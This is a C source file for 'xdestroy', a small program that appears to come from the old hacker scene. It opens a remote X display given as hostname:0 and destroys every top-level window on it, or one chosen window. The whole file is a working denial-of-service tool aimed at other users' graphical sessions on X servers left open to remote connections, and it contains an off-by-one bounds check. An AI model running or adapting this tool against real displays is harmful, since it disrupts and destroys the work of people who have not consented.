/* xdestroy.c
 * Destroys all windows in an X display
 *
 * Usage:	./xdestroy hostname:0 <option>
 * Compile:	gcc -lX11 -lm -o xdestroy xdestroy.c
 *       or	gcc -L/usr/X11R6/lib -lX11 -lm -o xdestroy xdestroy.c
 *
 *
 *	blasphemy (cornoil@netscape.net)
 */

#include <stdio.h>  
#include <X11/X.h>
#include <X11/Xlib.h>

int
main(argc, argv)
	int argc;
	char *argv[];
{
	Display *remote_display;
	Window r, p, *c;
	unsigned int nc, x;

	printf("xdestroy.c by blasphemy | fred_\n");

	if (argc < 3) {
		fprintf(stderr,
			"usage: %s [hostname:0] [option]\n"
			"Options:\n\t-d\tDestroy all windows\n"
			"\t-s #\tDestroys a specific window\n", argv[0]);

		exit(1);
	  }

	if ((remote_display = XOpenDisplay(argv[1])) == NULL) {
		fprintf(stderr,
			"can't open Display: %s\n", argv[1]);

		exit(1);
	  } else {
		printf("connected.. ");
	}

	r = DefaultRootWindow(remote_display);
	XQueryTree(remote_display,
		r,
		&r,	/* root */
		&p,	/* parent */
		&c,	/* children */
		&nc);	/* number of children */

	/* I didn't use getopt() cause I'm to lazy */

	if (strcmp(argv[2], "-d") == 0) {
		printf("destroying all %d windows\n", nc);

		for (x = 0; x < nc; x++)
			XDestroyWindow(remote_display, c[x]);

	  } else if (strcmp(argv[2], "-s") == 0) {
		printf("destroying window %d\n", atoi(argv[3]));

		x = atoi(argv[3]);
		if (x > nc) {
			printf("No such window!\n");
			XCloseDisplay(remote_display);
			exit(1);
		}
		else
			XDestroyWindow(remote_display, c[x]);
	  } else
		printf("Unknown option\n");

	XCloseDisplay(remote_display);

	return(0);
}
